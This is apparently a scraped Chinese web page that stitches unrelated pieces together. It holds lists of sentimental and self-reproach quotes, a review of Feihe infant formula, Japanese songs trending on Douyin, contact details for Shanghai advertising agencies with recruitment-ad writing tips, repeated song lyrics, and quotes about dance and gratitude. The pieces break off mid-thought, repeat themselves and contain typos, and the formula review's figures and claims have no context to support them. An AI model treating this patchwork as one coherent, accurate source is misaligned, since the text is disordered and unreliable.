40.我的小气犯了错，你能够拿脚狠踹我，千万不好不理我，这样我心更自责，辗转反侧难入眠，发条消息来道歉，亲爱的，只要你肯原谅我，什么事情我都做！ 41.其实人总是一直在犯错，只有慢慢意识到事情的严重性了，才开始慌了，自责了。 对父母表示自责愧疚的句子 对父母表示自责愧疚的句子篇一 1.无论在那里，心都应伴随左右，不离不弃。因为爱，就应为爱牺牲付出关心等待。即使长相厮守不了，也应理解包容，远远的关心和祝福。 2.繁华与安静终究有些人要渐渐遗忘埋葬渐行渐远。有些故事终究会变得模糊。墙上的小挂件又是谁送的那那个曾经最爱的人有时候我都不敢去想起只是想遗忘吧遗忘吧。 3.不在提起只是因为不知道该怎么说了。分不清是愧疚是自责是后悔还是无奈了。 4.当爱恨交织时，人会做出可怕的事情，一些过后会自责不已的事情。 5.我爱的她跟别人睡了回来给我说对不起问我还会娶她么。 6.当伤痛自责过后，我还剩下什么，一个遍体凌伤的自己么。 7.我爱内疚我爱预感我爱孤独患者我爱你的背包我爱吟游诗人我爱不要说话我爱陈奕迅！ 8.毕竟我是你的姐姐，没有做好榜样，没有对你严加管教，亦没有与你交心的沟通，由此，我便意识到自己的不足与无能。我的责任心迫使我一直处于一种愧疚的状态。 9.哭一小会儿就好，自责要短暂，不过要长久铭记，只有这样才能偿还啊，就算后悔又能怎样，已经是覆水难收了，只能慢慢地将水再装回来，毕竟时间并不会倒流嘛。 10.为了一己之私，为了所谓的荣誉，亲手扼杀了我们的友谊，最后换来自己痛恨的自责，值得吗 11.在爱情面前、我彻彻底底失败了。 12.合理规划展望未来，目标明确奋斗有底，积极努力向目标靠近；待人待事要有耐心，莫急莫燥影响情绪，乐观心态是成功阶梯；偶尔犯错切莫自责，勇于改正永不后退，整理情绪更加倍努力！ 13.刚刚放下手机准备睡觉的白天努力让自己不去想可是刚才躺着想起以前的点点滴滴真的难受到不行眼泪停不下来我真的特别内疚我想一个人去看看你我不敢问别人我好怕你怪我…对不起… 14.多一点自律，才会少一点自责。 15.我总是装作很不在意来减轻你的内疚 对父母表示自责愧疚的句子篇二 16.为了一段幸福，我曾浪迹天涯，为了一世情缘，我曾苦苦寻觅，那么多不为人知的的伤痛和辛酸，和着那个无期的离别徒留我忧伤的涟漪，时刻在空荡荡的寂清里，翻动着刺骨的心痛。 17.我怎么敢倒下，我的身后空无一人。 18.最大的惭愧和苦恼，就是当你不能很好地捍卫你所喜爱并为之而生存的一切的时候。 19.一万个自责，睿睿跑一个水泥斜坡，跑来跑去没事自己玩儿，突然一下没抬高脚我觉得，呛了下，脸擦破皮了，心疼死人了～唉，看孩子压力这么大～ 20.妈妈去放洗澡水给你自己玩你从沙发上摔下来了。哄一下你马上就不哭，很乖很懂事。妈妈心疼！难过！自责！ 21.什么样的话语都代替不了我愧疚的心情，站在你的角度去想，更叫我伤心，我该怎样地对你呢？ 22.亏欠父母太多经典感言 对父母愧疚简短的说说 23.我面对黑夜，面对寂静，虔诚地忏悔着。 24.全tm狗屁，没有前任只有丧偶，说等的呢?骗我说没谈，当我傻子吗?真的看透，从此不再联系，你滚吧，我没什么好内疚好舍不得了！ 25.手机被偷的第五天我不难过每天过着白天睡觉看剧不洗头晚上等老张下班做饭洗碗洗衣服削水果的日子对此我表示自责三分钟并且不打算悔改。 26.时间是最好的良药……没有跨不过去的坎……每次为了不必要的过去伤感，朱大健就默默的陪在我身边，帮我擦眼泪、心里内疚…惭愧大于伤感！感谢生命中有你…陪我走过最艰难的时光…… 27.对于我来说，失恋只剩下回忆，但对于你来说，爱情的美好才刚刚开始。 28.自责之外无胜人之术，自强之外无上人之术。 29.我的脑子好似一片空白，没有任何思绪，从自己决定放弃那一刻，不会再想任何关于你的一切。 30.自己也是一个很好强的人，做的不好的时候，犯错的时候，分外自责。 小说里虐到崩溃的伤感高级短句文案锦集四十一句 小说里虐到崩溃的伤感高级短句文案(篇一) 1.曾经以为属于自己的那颗星不会陨落，但等到它真的掉下来的时候，我才发现，原来世上真的没有永恒。 2.你是我的鬼迷心窍，只有我自己知道。——匪我思存《千山暮雪》 3.去的尽管去了，来着尽管来着……生死悲欢，就是如此。 4.这世上最累的事情，莫过于眼睁睁看着自己的心碎了，还得自己动手把它粘起来！ 5.满目青山空念远，不如惜取眼前人。——波波《绾青丝》 6.爱情是一场注定的潮水，而自己就是一叶随时等待靠岸的小舟。潮来潮去，随波逐流，载沉载浮，在劫难逃。 7.你看这个人，嘴里说喜欢我，又让我这么难过。——《我等你到三十五岁》 8.“我后悔了，冉冉。下辈子，我还想做阿瓒。‘阿瓒和冉冉结婚了’。这句话里的阿瓒。——《白色橄榄树》 9.女孩子向你发脾气，那是因为她爱你，把你当成最亲的，最贴心的，最有安全感的人，千万不要和她发脾气。静静地等着，等她消气后后悔地去抱你。 10.苦尽甘来，却苦未尽，你也不会来。 ——《田间欢》 11.多年以后我才知道，不是你没来，而是你去了另一个路口。 12.也许有一天，我会笑着回来。也许，我将请求你遗忘。我不能用那样丑陋的无法自控的模样来说我爱你。我宁愿，从此缄默。 13.不用总承诺要给她多好的生活，因为她爱你就会相信你，承诺一次，她就永远不会忘记，她看得见你的努力。 14.也许一个人在真正无可奈何的时候，除了微笑，也只好微笑了。 15.原来一个一无所有的人，想守护另一个一无所有的人，结局会是这样的疼。 16.我这一生失败透顶，民国三年等不到一场雨，这一生等不到一句我爱你。 ——《旧梦1913》 17.一个人走不开，不过因为他不想走开；一个人失约，乃因他不想赴约，一切借口均属废话，都是用以掩饰不愿牺牲。 18.不在乎的话，无论你说什么，你依然什么都不是。 19.有时候人只需要一只温暖的手的触摸，就像是拥有了整个世界。我一直在等，等到绝望。 ——《龙族》江南 20.寂寞的人总是记住生命中出现的每一个人，正如我总是意犹未尽的想起你。 21.当爱丽思丢失了通往仙境的钥匙，她是应该难过的往回走，还是蹲下来哭泣？踮起脚尖，我们就能离幸福更近点吗？ 小说里虐到崩溃的伤感高级短句文案(篇二) 22.有些人，注定是生命中的过客；有些事，常常让我们很无奈。 23.除非黄土白骨，我守你百岁无忧。 24.不怕路太远找不到终点，就怕两个世界画不成一个圆。 25.我真的受不了。两次，已经两次了！我不想再有第三次了啊。 26.你笑一次，我就可以高兴好几天；可看你哭一次，我就难过了好几年。 27.前路漫漫，只要确定方向，再远的路，也不会是无望的旅程。《笑傲红尘》 28.傻孩子，太黏一个人，终究是会被讨厌的啊。 29.现在的眼光，未来的理想，它们总能在生命的一个拐角相遇。 30.理想是指路明灯，没有理想，人生就如荒漠，没有生机。 31.恍若隔了几世的岁月，竟再也记不起你分毫。 32.如果可以哭我也不想忍、如果可以懦弱我也不想坚强！ 33.与其在你想离开的世界里奔跑，还不如我转身就走。 34.离去，让事情变得简单，人们变得善良，像个孩子一样，我们重新开始。 35.我期待黎明的到来，我喜欢太阳的笑脸。 36.相见时难别亦难，东风无力百花残。春蚕到死丝方尽，蜡炬成灰泪始干。 37.那些刻在椅子后的爱情，会不会像水泥上的花朵，开出没有的风，寂寞的森林。 38.娶她是我高中就认定的事。 ——《痛仰》 39.回到家里第一件事就是揉揉自己的脸，每天强颜欢笑，实在太委屈它了。 40.你喜欢我 陪了我这么久 即使我骄傲 自私 做作的时候 你都在。 41.原来，只有离别，才是真正的永远。     高冷又随性的句子伤感说说锦集四十一条 高冷又随性的句子伤感说说(篇一) 1.有时候看错人，不是因为你瞎，而是因为你善良。 2.世界上那些最容易的事情中，拖延时间最不费力。 3.当你对自己诚实的时候，世界上就没有人能够欺骗得了你。 4.我喜欢的人，喜欢的东西，别去碰，也别惦记着，脾气这玩意我控制不好。 5.喜则留，厌则走，多说一句都是求，道不同不相为谋。 6.我不是惯着你，只是没有时间，懒得摆弄你。 7.谁还不想当个小可爱啊，可是心里有委屈、肩上扛责任的人，自然比较凶。 8.通往故乡的小径上铺满了游子的思念，锁不住的秋风，满地爬行。 9.别总因为迁就别人就委屈自己，这个世界没几个人值得你总弯腰。 10.我不讲道理，护短，偏爱，我十分不公平，我爱谁谁就是对的。 11.有人问我怎么样才能变得高冷，我笑了，以为人人都是我么。 12.日出东方，唯我不败！ 13.你过得好，我替你高兴，你过得不好，我替全世界高兴。 14.没什么如果当初，不管重来多少次，人生都肯定有遗憾。 15.其实有时候我发脾气，不是我多有脾气，是因为笑脸给多了他就认为你好欺负。 16.相约的地点已物是人非，我拖动着这沉重的双腿在这繁华的大街挪动着。 17.后来，莫名其妙的孤独和无可救药的喜欢，我都忍得住。 18.我们之所以迷茫是因为：明知是脑子饿极了，却只会拚命喂肚子。 19.日益努力，而后风生水起，众生皆苦，你也不能认输。 20.眼有些小，但是不缺；我脾气很好，但不是没有。 21.你备胎无数，你感情不断；并不是因为你很迷人，而是你廉价又百搭。 高冷又随性的句子伤感说说(篇二) 22.我知道我自私霸道爱无理取闹神经大条没有一点淑女样，但是没关系我还是觉得我是个好姑娘。 23.拼搏奋斗，励志笃行。 24.我的优点是：我会知错能改。我的缺点是：我从来都不觉得我错了。 25.为了你的奥迪，你媳妇的迪奥，还有你儿子的奥利奥，奋斗吧！少年！ 26.一个人若已到了没有任何东西可以依赖的时候，往往会变得坚强起来。 27.如果最需要你的时候，你不在身旁，那么你就不会再是最需要的了。 28.余生没那么长，请忠于自己，活得像最初的模样，祝自己生日快乐。 29.海纳百川，有容乃大。 30.现在过的每一天，都是余生中最年轻的一天。请不要老得太快，却明白得太迟。 31.可能我不会结婚，等我七老八十的时候，领着一群狗去街上溜弯，老了我也会是个很酷的老太太。 32.人生只有这么长，何必浪费在为别人改变的过程中。 33.所有人都想当英雄，却没有人为妈妈洗一次碗。 34.对你越客气，就越证明我不想和你有任何关系！ 35.你荒废了时间，时间便会把你荒废了。 36.哭过，风景的今天，不是曾经的黄昏，笑过，当年的失败，没有今天的勇气。 37.我是很会考虑别人感受的人，所以一般说话都不会让人难堪。如果哪次我说话让你不舒服了，别多想，我就是故意的。 38.你好我就是，自嗨起来像条疯狗，孤僻起来是一只困兽，没有然后了，就这些，谢谢。 39.酷的像风野的像狗，不招人爱倒也自由。 40.最好的不代表适合你，而适合你的并不一不定是最好的，你会选哪个呢？ 41.想做一个又酷又温柔的人：对一切美好的人和事轻柔和善，对一切不值得的垃圾冷酷无情。 ...

最近一直有粉丝私信我，想让我评价一下现在的飞鹤奶粉，其实相比其他国产奶粉品牌，目前飞鹤奶粉属于国产奶粉中佼佼者，国产奶粉之光。而且飞鹤奶粉代言人选的妙，国际巨星章子怡的咖位直接秒杀其他国内奶粉品牌的代言人，比如国内著名乳企伊利的谢n，感觉不在一个起跑线。。 其次，广告营销做的好，“更适合中国宝宝体质，专为中国宝宝体质设计”的广告文案，不仅让自己的品牌收割了很多用户的 。。。还为整个国产奶粉品牌市场做了巨大贡献，成功的广告营销文案成了国产奶粉品牌争相模仿的版本，国产奶粉品牌纷纷都加入了明星代言/卫视广告轮番播的套餐标配。 我仔细研究了一下飞鹤奶粉，发现它的系列特别多，除了已经停产了，我挑选了目前市面上还存在的12个系列，给大家来个综合测评，想选择飞鹤奶粉的妈妈们可以参考一下。 品牌背景 百科资料显示：飞鹤始建于1962年，前身叫赵光农场乳品厂，隶属于黑龙江农垦总局。飞鹤从丹顶鹤故乡齐齐哈尔起步，是中国最早的奶粉企业之一。2001 年，飞鹤改制，时任厂长冷友斌重组创立了黑龙江飞鹤乳业有限公司。并推出了星飞帆、超级飞帆等系列奶粉，请来国际巨星章子怡代言，加之铺天盖地的广告宣传，俘获了不少妈妈的心。 但从飞鹤近期发布的上市招股书显示，2016年至2018年飞鹤乳业的研发成本分别为0.14亿元、0.15亿元和1.09亿元，2019年第一季度为0.3亿元。以飞鹤乳业最新的营收计算，2018年和2019年第一季度的研发投入占经营收入比例分别只有1.05%和1.09%。 奶源原料 飞鹤宣传的是北纬47度世界级黄金奶源，其实就是黑龙江齐齐哈尔地带，这个地区在国内也算不错的奶源地，但是相比全球黄金奶源地（荷兰、爱尔兰、澳新、瑞士等）还存在一定的差距。 ...

抖音你们很或的日语歌： planet 早安少女《loveマシーン》 山口百惠《いい日旅立ち》 akb48《爱的幸运曲奇》 smap《世界に一つだけの花》 ...

4A的很多～能进一个足矣，排序纯属个人爱好……可以打电话问问招人不，或者够自信可以直接杀过去， 奥美：电话：62183009 地址：南京西路1038号梅龙镇商厦31楼 麦肯光明：电话：52400008 地址：江苏路369号兆丰世贸大厦13楼 智威汤逊：电话：52985598 地址：南京西路1515号嘉里中心32楼 灵狮：电话：52984428 地址：南京西路1168号中信泰富12楼 李岱艾：电话：63906798 地址：淮海中路283号香港广场南座29楼 李奥贝纳：电话：62186238 地址：南京西路1038号梅龙镇广场19楼 小日本的广告公司有博报堂之类，个人情感原因，不鼓励去俺就也不写了。还有香港的“创亚”也还是蛮牛的。电话：63500868 地址：南京西路128号801-803室 就收入来说，李岱艾、麦肯光明、灵狮是最强的了，奥美也不错。 其次可选择国内的，叶茂中营销策划广告也不差的，电话：64316980 地址：徐汇区桃江路38号，其实还有一些在实力不差的，如博扬广告、一加一、诺星、聚格广告、朗意品牌、星嘉洲、博尚设计。地址俺也不打了，自已搜吧～ 概况总结说，竞争那个叫异常激烈，多如牛毛，没办法呀。广告年代…… 正因为广告公司多，广告文案其实也还是很缺的，如果是优秀又资深的那收入也绝不会低嘿，但很少人能坚持到那儿，呵呵。 话回来，广告公司的招聘其实跟普通企业差不多了，金三银九的，但不会有很确定的时间……流程的话一般就看重简历喽，面试、笔试。有些是先笔试再面试。邓国华文案的空间有一些面试题，有空看看吧， 范本有很多，但每一个广告公司的风格不一样的，每一个总监的品味也是不同的。所以，当你去奥美面试，就多找奥美出品的广告文案来看，模仿即可。不然怎么叫copy writer呢？ 其实应聘同样很多小技巧的，自己找找吧， 另外，多充实下自己，很多书可以读读，很多网站可以看看 链接链了几次也发不上来。有广告的嫌疑，所以也自己搜吧…… 顶尖文案 评价：严重的4A风格，图文并茂、特色突出，但不可一味模仿。 国际广告人： （偏重策划方面） 评价：成立较久，国际视野，比较大气 但更新速度很慢慢 中华广告网 评价：建立时间长，寻宝可以，但几十年如一日，更新速度太慢了。 中国广告人社区： 评价：4A经典资料，但更新速度较慢，人气不足 中国广告网： 评价：可发商机广告 论坛以分区方式方便找到身边同行朋友 更新速度稍快 首先，从了解招聘广告的定义开始，指企业招聘人才时在相关的招聘媒体(含网络招聘、报纸招聘、现场招聘、店面招聘)发布企业的招聘信息，也是对招聘方的一种宣传。 其次，明白招聘广告的主要组成部分：一般来讲，招聘广告主要是写给求职者看的，主要有：公司名称、企业简介、岗位名称、招聘名额、职位描述、职位要求、****等几个环节组成。 最后，系统学习招聘广告怎么写吧： 1、先要弄明白招聘广告写给谁看的及对方看后是否能心动。 2、要弄明白招聘广告发布的媒体是什么，这点也很关键。具体的来说，现场招聘招聘海报岗位突出，要求及待遇明了，企业优势简洁，切忌繁文缛节没完没了，既占篇幅有没说到重点，避免求职人群走马观花遗漏招聘岗位。网络招聘这个媒体的话，因为不受字数限制，可以做个详细的介绍和描述。报纸招聘和现场招聘因为受到版面和海报大小的限制，字数不能大多，这两个媒体的原则是简单明了，把主要的说清楚就可以 3、招聘广告也可以加上企业对人才如何重视、对人才如何培训、对人才如何晋升等关键点突出来。 4、避免不必要的争议，广告招聘的内容不能有对种族、性别、年龄的偏见。 END 注意事项 提醒：一份招聘广告对企业很重要，招聘广告怎么写，除了要做到以上所说的内容外，还在在整体上把关招聘广告语的设计效果。注意，一个优秀的招聘广告一定要做到如下要求：使人过目不忘的广告词;应突出企业徽志;应使用鼓励性、刺激性用语;应说明招聘的岗位、人数、所需的资格条件，并注明待遇。 ...

《帝都》 演唱者：萌萌哒天团歌词：空荡的宫殿 冰冷的庄严上弦月弹奏清歌奄奄谁看到悲的烟 金杯玉盏却无人叹息生锈的剑往日故友寻难见 只剩思念拂尘掠过空间有谁来读这孤独感 散不尽留恋生死注定烟消云散想曾经往日昨天 孤独是晴天和曾经诺言的竹签 类似词的歌曲在威信 每晚睡前音乐 这找出几首呢，这首听着还行吧，不是的话你在去看看咯《帝都》演唱者：萌萌哒天团作词：3紫作曲：芊芊空荡的宫殿 冰冷的庄严上弦月弹奏清歌奄奄谁看到悲的烟 金杯玉盏却无人叹息生锈的剑往日故友寻难见 只剩思念拂尘掠过空间有谁来读这孤独感 散不尽留恋生死注定烟消云散想曾经往日昨天 孤独是晴天和曾经诺言的竹签空荡的宫殿 冰冷的庄严上弦月弹奏清歌奄奄谁看到悲的烟 金杯玉盏却无人叹息生锈的剑往日故友寻难见 只剩思念拂尘掠过空间有谁来读这孤独感 散不尽留恋生死注定烟消云散想曾经往日昨天 孤独是晴天和曾经诺言的竹签有谁来读这孤独感 散不尽留恋生死注定烟消云散想曾经往日昨天 孤独是晴天和曾经诺言的竹签和曾经诺言的竹签 ...

关于舞蹈的文案（精选44句） 1.蕊宫阆苑。听钧天帝乐，知他几遍。争似人间，一曲采莲新传。柳腰轻，莺舌啭。逍遥烟浪谁羁绊。无奈天阶，早已催班转。却驾彩鸾，芙蓉斜盼。愿年年，陪此宴。 2.是谁把雨露撒遍大地？是谁把幼苗辛勤哺育？是您，老师，您是一位伟大的园丁！看这遍地怒放的鲜花，哪一朵上没有您的心血，哪一朵上没有您的笑影！ 3.假如我是诗人，我将以满腔的热情写下诗篇，赞美大海的辽阔和深远。并把它献给您我的胸怀博大，知识精深的老师。 4.您工作在今朝，却建设着祖国的明天；您教学在课堂，成就却在祖国的四面八方。 5.您为花的盛开，果的成熟忙碌着，默默地垂着叶的绿荫！啊，老师，您的精神，永记我心！ 6.桑巴舞舞态热情，舞步弹动摇曳多变，激情四射，挑人心弦。 7.舞蹈是一门艺术，优美的舞姿给人以美的熏陶，让人如痴如醉。记得小时候，有一次我和妈妈一起去看芭蕾舞剧，台上的舞蹈演员各个身姿优美，如同翩翩起舞的仙子，我真有几分羡慕。 8.用语言播种，用彩笔耕耘，用汗水浇灌，用心血滋润，这就是我们敬爱的老师崇高的劳动。 9.恰恰恰舞节奏欢快利落，节奏感强，趣味浓烈，动作紧凑诙谐，花俏，激情火辣，是拉丁舞中最流行的舞蹈，与伦巴舞一起被称为姐妹舞。 10.不计辛勤一砚寒，桃熟流丹，李熟技残，种花容易树人难。幽谷飞香不一般，诗满人间，画满人间，英才济济笑开颜。 11.啊，有了您，花园才这般艳丽，大地才充满春意！老师，快推开窗子看吧（bidushe），这满园春色，这满园桃李，都在向您敬礼！ 12.教师是火种，点燃了学生的心灵之火；教师是石级，承受着学生一步步踏实地向上攀登。 13.她跳着舞像美丽的蝴蝶般飞舞着，像婀娜多姿的柳条样扭动着，美的让人陶醉。 14.忽如间水袖甩将开来，衣袖舞动，似有无数花瓣飘飘荡荡的凌空而下，飘摇曳曳，一瓣瓣，牵着一缕缕的沉香。 15.翠笛，白衣，林枫静静的吹着笛，轻风带起衣袂飘飞，而他身前的凌凝更如临凡仙子，两人搭配成一副绝美的画卷，从未想过两人站在一起竟能如此的和谐，如此的完美。 16.舞蹈是有节拍的步调，就像诗歌是有韵律的文体一样。 17.他被誉为流行音乐之王，他魔幻般的舞步更是被无数明星效仿。 18.洞房花烛明。燕余双舞轻。顿履随疎节。低鬟逐上声。步转行初进。衫飘曲未成。鸾回镜欲满。鹤顾市应倾。已曾天上学。讵是世中生。 19.舞蹈是你的脉搏，是你的心跳，是你的呼吸，是你生命的节奏。也是对时间.动作.幸福.喜悦.伤心和羡慕的表达。 20.粉面上一点朱唇，神色间欲语还羞。娇美处若粉色桃瓣，举止处有幽兰之姿。 21.她一身绯色舞衣，头插雀翎，罩着长长的面纱，赤足上套着银钏儿，在踩着节拍婆娑起舞。她的舞姿如梦。她全身的关节灵活得象一条蛇，可以自由地扭动。一阵颤栗从她左手指尖传至肩膀，又从肩膀传至右手指尖。手上的银钏也随之振动，她完全没有刻意做作，每一个动作都是自然而流畅，仿佛出水的白莲。 22.这时，那踏节的盘和鼓已经摆好，舞人从容而舞，形舒意广。她的心遨游在无垠的太空，自由地远思长想。开始的动作，像是俯身，又像是仰望；像是来.又像是往。是那样的雍容不迫，又是那么不已的惆怅，实难用语言来形象。接着舞下去，像是飞翔，又像步行；像是辣立，又像斜倾。不经意的动作也决不失法度，手眼身法都应着鼓声。纤细的罗衣从风飘舞，缭绕的长袖左右交横。络绎不绝的姿态飞舞散开，曲折的身段手脚合并。 23.只见老师扬起双手，惦起脚尖，做出留头似的旋转。这时，她像一只在空中飞旋的天鹅；又像在地面翩翩起舞的孔雀。老师那阿娜的身姿，仿佛与音乐溶为一体；那柔软的身体衬托出了舞者高贵的美！我陶醉了，从此我便爱上了舞蹈。 24.舞蹈是一门艺术，优美的舞姿，给人以美的熏陶，婀娜多姿，让人如痴如醉。看着优美的舞蹈，我真有几分羡慕，于是，我步入了学习舞蹈的生涯。 25.在我成长时期，感情和欲望都令我羞涩。而通过舞蹈，我终于可以应付自如，而不再觉得羞涩。舞蹈家Twyla Tharp 26.我得为梦想是背一个双肩包，骑一辆单车，沿路欣赏一下大自然。躺在草地上，享受微风抚摸脸庞得感觉，赤足踏进河中，享受细沙按摩脚底得感觉，坐在山顶，观看夕阳西下和日出得壮观美景。 27.不管你的天赋怎样高，能力怎样大，表演水平怎样高，那么，你的成就总不会高过你的自信。正如一句名言所说：?她能够，是因为她认为自己能够；她不能够，是因为她认为自己不能够！?---------你能够，是因为你认为自己能够！ 28.生活中要记住三个词：选择，机会和改变。你必须做出选择，抓住机会，否则你的生活只会一成不变。 29.舞蹈是一条很长的路，在这条路上，时而坚定时而也会 迷茫不知所措，有时候我也会不知道自己未来的方向在哪里，有时候还是需要一些心灵鸡汤来慰藉心灵，需要一种神秘的力量来拯救一天天堕落的自己。 30.路再难，也要坚持走下去。跌倒了，就勇敢站起来。爬，不是我得风格。 31.记住，这个世界，没有一种痛是单为你准备的。因此，不要认为你是孤独的疼痛者。也不要认为，自己经历着最疼的疼痛。尘世的屋檐下，有多少人，就有多少事，就有多少痛，就有多少断肠人。在芸芸众生的痛苦里，你才会发现，自己的这点痛，真的不算什么。 32.无需与别人比较，成功只是你与自己的一场战役；每天进步一点点，也是在不断地超越自己。 33.伤害是别人带来的，开心是自己寻找的，想哭就哭，哭完了接着笑，没有人能把谁的幸福没收。 34.跳舞的女人永远是一道美丽的风景。我在刀尖上舞蹈，沉重也好，轻盈也罢，从脚底到心里，终究是蔓延的疼痛 35.如果自己不够强大，再喜欢的舞蹈放在你面前你也驾驭不了，只能乖乖的看着！ 36.不要否定过去，也不要用过去牵扯未来。不是因为有希望才去努力，而是努力了，才能看到希望。 37.有了坚强得理由，一切顺风顺水，虚伪得懦弱，也会在真诚得诺言面前，显得苍白无力，无所适从。所以，坚强也就成了你人生中一道靓丽得风景。 38.这就叫：心有舞，而功不足！不要轻易用过去来衡量生活的幸与不幸！每个人的生命都是可以绽放美丽的～只要你珍惜。 39.你改变不了环境，但你可以改变自己；你改变不了事实，但你可以改变态度；你改变不了过去，但你可以改变现在！ 40.人生一个梦，生活靠颗心，只要心态不老，只要信念不消，不管多远的路，都会有尽头；不论多深的痛，也会有结束。选择其实很简单，往自己心里感到踏实的地方走，静下心听自己的心声。 41.舞蹈人生的奔跑，不是瞬间的爆发，而是一路的坚持，纵有千百个理由放弃，也要找一个理由坚持下去。能激励你，温暖你，感动你的，不是励志语录和心灵鸡汤，而是这里比你优秀的人比你还努力！ 42.当你埋怨没有漂亮的舞鞋时，有的人却没有双脚。当你埋怨没有登台的机会时，有的人竟没有舞蹈练习室，没有漂亮的舞蹈服装，甚至没有专业的舞蹈老师，有的只是一颗同样热爱舞蹈的心。所以，我们都要好好珍惜每一次舞蹈的机会！ 43.人生，是磨难在枝头上，没有人，会经常督促我们的行动，没有人，会义务地照料我们一生，我们只能选择自己的人生，拿得越多，背负的越重，适时地放弃，才能很好地前进，错过花，收获雨，放弃，才能赢得新生。 44.跳舞真正的收获，不在于你掌握了多少技巧，而在于你收获了多少！你可以不把跳舞太当回事，但一定要把自信当回事。佚名 感恩有你文案（精选69句） 1.用乐观的态度对待生活，生活很美好；用宽容的眼光注视世界，世界很广阔；用感恩的心情感受人生，人生很温暖。感恩节，我深深地感谢红尘中有你作伴。 2.感恩我的世界里一直有你，让我们彼此陪伴着，相依着，当时光老去，请允我微笑着记取，我们一起走过的暖意。 3.感恩有你，我的生命才真正完整。这一年，你带给我们全家太多的快乐，太多的寄托，太多的满足。 4.没有人有义务对你好，所以对你好的人一定要感恩。 5.有一种爱，刻骨到永恒；有一种相遇，会让你感恩；有一个人，能令你一辈子去珍惜。 6.宝贝，当你沐浴着大家关爱的时候，希望你一点一点学会感恩，感谢所有在你成长过程中关心过你的人。 7.珍惜你拥有的，忽略你没有的。微小的幸福就在身边，不攀比就是天堂。快乐，来源於自我感恩的良好心态。 8.云感谢风给它生机，春感谢花给它活力，我感谢你给我鼓励，让我有生活动力，让我有追求勇气，让我有不离不弃的信念把你珍藏心里，感恩节，感谢有你。 9.要学会对拥有的一切怀有感恩之心，最终你会得到更多。如果你总是对那些没有得到的东西耿耿于怀，那么你。 10.邮局是我们的月老；手机是我们的媒娘；时间是我们的爱神；未来是我们的红地毯；我感谢他们把你带到我身边，我的心也因有你而对这个感恩节特别满足！ 11.拥有感恩的心，你会更加热爱这个世界，更加热爱生活。拥有感恩的心，你会懂得，惟有懂得报恩的人生，才是有价值有意义的人生。 12.挥手惜别，盼望你们能成为，有理想，有梦想，有追求的人，更要做一个善良.正直的人，要做一个懂得感恩的人。 13.沙一世界，一花一天堂。珍惜你拥有的，忽略你没有的。微小幸福就在身边，不攀比就是天堂。快乐，来源于自我感恩的良好心态。 14.小时候，我以为人与人之间，就是我跟你好和我不跟你好了，结果现在才发现，有喜欢，忍耐，包容，感恩，甚至还有背叛。 15.天地间有一种东西叫雪，从天而降，落地而化；人世间有一种东西叫爱，由心而生，知死不变；朋友中有一个人是你，识于偶然，止于永久。感恩节快乐！ 16.即使曲终词穷，日暮宙寝，我也要抓住最后一秒感恩上帝让我拥有你的爱。 17.有人帮你是幸运，学会心怀欢喜与感恩；无人帮你是命运，学会坦然面对与承担。没有人该为你做什么，因为生命是自己的，你得为自己负责。 18.星星，一闪一闪；回忆，一幕一幕；思念，一丝一丝；感动，一阵一阵；受恩，一时一事；感恩，一生一世。感恩节到了，别忘了有恩于你的人！ 19.你是我见过最美丽的树叶，让我的森林为你凋谢；你像一首旋律让我的生命多和谐，我只能用小小声音说感谢，小到只有你能了解！感恩节快乐！ 20.感恩自己所拥有的，有你，真好。 21.感恩！感谢有你们，一路陪着我，度过漫长的岁月！ 22.问候如诗充满关怀，感激似歌饱含精彩，愿我在这感恩的日子了送给你最甜蜜的打扰，愿你在这特殊的日子里有份美丽的心情。 23.美国人在感恩节时感谢上帝的眷顾，使他们有丰足的食物。我也要感谢上帝，让你来到了我的身边，和我一起过感恩节吧？好吗？ 24.我一直在闹，但是你一直都在笑，温暖的呵护着我。很感恩能够有你陪在我身边，爱你！ 25.感谢你，各位亲爱的朋友！感谢你对好心情的大力支持，感谢你对好心情的无私厚爱，感谢你对好心情的辛勤点击，感谢你对好心情的倾心关注。 26.想要什么样的生活，想要什么样的人生，都在与我们自己。我喜欢简单的生活，是因为我觉的简单的生活很适合自己，才能让自己很到很温馨。 27.我们要感恩对手，感谢强大的对手给予我们的竞争压力和挑战，感谢对手给予我们学习的鞭策和成长进步的动力，用感恩的心做人做事。 28.感谢天，感谢地，感谢网络让你我相遇！说不清为什么，可我对你的思念一天比一天多，甚至在梦里有你的微笑。 29.既然生命有限，可我们的爱是无限的。让我们在有限的生命里去爱，去珍惜。珍惜该珍惜的，忘记该忘记的，让我们学的从容一些。 30.我们要感恩时代，同过去，同上代比生活，比待遇，比条件，感念时代的赐予，在意现在的拥有，增强奉献意识和社会责任意识。 31.谢谢双语的校友和一种的校友们，谢谢曾经爱过我的和我爱过的人谢谢你们，是你们让我变得更成熟！更懂得社会，更了解人性！ 32.草感地恩，方得其郁葱；花感雨恩，方得其艳丽；己感彼恩，方得其壮大！感恩，感恩我们所爱的人！ 33.向帮助过我的朋友和我所珍爱的朋友说声感谢，感谢你走进我的生命，让我的生命丰富而又美丽，我愿用我有生的时光带给你无限的快乐。祝感恩节快乐！感恩节祝福语 34.感谢帮助你的人，因为你从那里获得了宽容；感谢提拔你的人，因为你从那里获得了机会；感谢教导你的人，因为你从那里获得了知识。 35.今天，在遥远的此处，我把你给予我的曾经，折起祝福的纸鹤，飞过千山和万水，只是为了告诉我的恩施你：谢谢你一直的关心！ 36.谢谢你曾经给过我的幸福，哪怕这幸福的代价是那么大，大到头破血流?我会永远真惜这一段感情，珍惜这一段记忆，谢谢你为我做过的一切！ 37.我是一个重视与感情的女孩，我不会轻易的去爱，更不会轻易的接受爱。爱不是诺言，许下的承诺是欠下的债。 38.感恩之心，就是对世间所有人所有事物给予自己的帮助表示感激，铭记在心；感恩之心，就是我们每个人生活中不可或缺的阳光雨露，一刻也不能少。 39.我们要感恩老师，感谢老师对我们心智的启迪和生命成长的关怀，感念老师对我们的辛勤付出和教诲，在感念师恩中崇德成才，奉献社会。 40.做人要学会感恩，感谢天地，感谢命运，感谢一切一切的所有，天地虽宽，道路坎坷，但是只要心中有爱，心存感恩，就会努力做好自己，花开花落也一样会珍惜。 41.我愿是候鸟，在迁徙的路上伴你飞翔；我愿是雄鹰，在攀登的途中给你勉励；我愿是火鸡，在感恩节被你品尝！呵呵，这样的朋友够仗义吧！感恩节快乐喔！ 42.无论将来如何，我都要感谢你，感谢你来到我的生命中，带来了美丽.快乐，感谢你给了我永远珍视的记忆。 43.朋友，最感动的时刻，来自被朋友想起；最美的时刻，源于想起朋友。没有约定，却有默契。一线网络，流淌着我们的心情句子大全 